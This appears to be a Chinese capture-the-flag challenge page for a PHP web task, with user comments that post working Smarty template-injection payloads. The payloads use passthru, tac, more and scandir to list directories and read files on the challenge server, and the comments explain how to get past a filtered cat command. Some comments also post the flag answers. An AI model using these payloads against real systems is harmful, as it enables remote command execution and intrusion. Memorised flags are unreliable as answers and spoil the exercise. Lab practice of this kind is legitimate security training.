聪明的phpWEB 未解决

分数: 25 金币: 2
题目作者: midi
一  血: Lazzaro
一血奖励: 3金币
解  决: 4226
提  示:
描  述:
聪明的php
评论
xinkuang 2年前

http://114.67.175.224:13208/?a={if%20passthru(%22more%20/_30010%22)}{/if}

回复 1

Daniel2023 2年前

flag{0e54d64e616af92957ddbb6c6ea37c5f}

回复 0

一路奔腾 2年前

?a={passthru("ls -al /")}找到特殊的一样_24542这样的文件,?f={passthru("tac%20/_13075")}查看文件内容得到flag。参考:https://zhuanlan.zhihu.com/p/401583380,,,,https://blog.csdn.net/m_de_g/article/details/120

回复 0

EtHat 2年前

index.php?a={passthru("tac /_4060")}

回复 0
404 Lethe 18天前

@FUCK123 passthru不在函数黑名单里面呀,你直接passthru找到随机名称的子目录再head读取就可以

回复 0

FUCK123 2年前

fnmdp

回复 0

18904484271 2年前

好垃圾的靶场,明明flag出来了,但是提交显示不正确

回复 1

haker111 3年前

看提示直接传值:?a,然后看到源码后进行解析,了解smarty模板。进行get传参,?a={if passthru('ls')}{/if} 查看当前目录,然后转到根目录下,?a={if passthru('ls /')}{/if},每个人的根目录下的第一个子目录不同,所以flag不同,查看第一目录?a=?a={if passthru('tac /_2096')}{/if},得到flag{...}

回复 1

XRain 3年前

没想起来 PHP 还有什么函数可以执行命令。不过,我用 scandir() 和 show_source() 就完成挑战了。 /?a={var_dump(scandir("/"))} 和 /?a={show_source("/_6583")}

回复 2

冯飞99 3年前

根据给出的提示发现可以通过/?回显得到源码,然后找到chatgpt解析一下源码,得知需要模板注入,构成payload,找到第二个源码再次让gpt翻译一下,得知在根目录下有个-数字的文件,由于cat命令用不了,使用tac命令查看得到flag。

回复 0

wxy1343 3年前

flag{d1342dda94d2f2b93118ff43530dcf77}

回复 0

YZ_86 3年前

bp抓包提交参数后会返回代码,根据代码可以发现有命令执行且过滤了哪几个函数{1*2}会发现返回2,这个时候用命令执行{passthru('ls /')},记得url转码,会发现返回结果有个图出的文件,cat被过滤了,用more查看就好{passthru('more /文件名')}。觉得清楚记得点赞,让更多人看到

回复 9

WriteUp

image
midi

3 金币

评分(14)

解题动态

magning 攻破了该题 2小时前
全都拿下 攻破了该题 22小时前
noob11 攻破了该题 23小时前
风掠 攻破了该题 1天前
25456 攻破了该题 1天前
1柒1 攻破了该题 2天前
xuanbai 攻破了该题 2天前
qi1102 攻破了该题 2天前
Alter 攻破了该题 3天前
Amy 攻破了该题 3天前
CCC1112 攻破了该题 3天前
gc 攻破了该题 3天前
KN11 攻破了该题 5天前
世界你好 攻破了该题 7天前
小懒 攻破了该题 7天前
woshicaocao 攻破了该题 8天前
暗流安全 攻破了该题 9天前
小楼一夜听春雨 攻破了该题 9天前
能工智人 攻破了该题 9天前
想养只粉色的猫 攻破了该题 11天前
问题反馈